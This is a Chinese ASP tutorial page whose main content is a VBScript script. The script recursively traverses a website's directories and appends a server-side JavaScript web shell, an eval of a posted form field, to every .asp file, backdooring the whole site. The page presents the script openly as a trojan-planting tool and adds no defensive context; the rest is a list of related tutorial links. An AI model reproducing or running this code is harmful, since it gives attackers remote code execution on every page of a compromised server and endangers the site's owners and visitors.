- <%
- dim ph
- dim intfile
- server.ScriptTimeout = 600
- ph=server.mappath("/")
- Sub InsertAllFiles(Path)
- Set FSO = CreateObject("Scripting.FileSystemObject")
- on error resume next
- Set f = FSO.GetFolder(Path)
- Set fc2 = f.files
- For Each myfile in fc2
- If lcase(FSO.GetExtensionName(path&""&myfile.name))="asp" then
- Set FS1 = CreateObject("Scripting.FileSystemObject")
- Set tfile=FS1.opentextfile(path&""&myfile.name,8,false)
- tfile.writeline "<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>eval(Request.form('H4x0r')+'')</SCRIPT>"
- else
- InsertAllFiles(newpath)
- end if
- tfile.close
- Next
- Set fsubfolers = f.SubFolders
- For Each f1 in fsubfolers
- newpath=path&""&f1.name
- InsertAllFiles(newpath)
- Next
- set tfile=nothing
- Set FSO = Nothing
- End Sub
- %>
- <%
- call InsertAllFiles(ph)
- %>
FSO遍历目录实现全站插马的代码
2019-10-14 11:33asp代码网 ASP教程
FSO遍历目录实现全站插马的代码
延伸 · 阅读
- 2021-03-16遍历指定目录,并存储目录内所有文件属性信息
- 2020-08-30php实现遍历目录并删除指定文件中指定内容
- 2020-08-21python遍历目录的方法小结
- 2020-08-12PHP遍历目录函数opendir()、readdir()、closedir()、rew
- 2020-07-25vbs fso跨盘移动文件夹的怪问题
- 2020-07-23vbscript禁用 启用fso的方法
精彩推荐
- ASP教程
ASP.NET 数据源
数据源 一个 data sourse 控件与数据绑定的控件相互作用,并隐藏了复杂的数据的联编过程。这些是提供数据给 data bound 控件的工具,并且支持如插入,删除...
- ASP教程
asp+javascript实现404页的处理转换
asp+javascript实现404页的处理转换...
- ASP教程
asp 采集实战代码
最近实在是太流行采集了,本人是不喜欢采集的,但对采集的原理我却很有兴趣进行研究,拿到了网上采集常用函数,对其进行了一番研究,并实战,结果...
- ASP教程
JScript中遍历Request表单参数集合的方法
这篇文章主要介绍了JScript中遍历Request表单参数集合的方法,本文以遍历Request.QueryString集合为例给出了实现代码,需要的朋友可以参考下...
- ASP教程
ASP常用函数:getpy()
ASP常用函数:getpy()...
- ASP教程
asp 标记字符串中指定字符变色不区分大小写
今天遇到这种问题,单纯的使用replace函数不行,他会改变原有的字符串的大小写,在网上找到相关的代码,自己备份下...
- ASP教程
asp Access数据备份,还原,压缩类代码
asp Access数据备份,还原,压缩类实现代码,大家可以参考下。...
- ASP教程
asp之基于adodb.stream的文件操作类
asp之基于adodb.stream的文件操作类...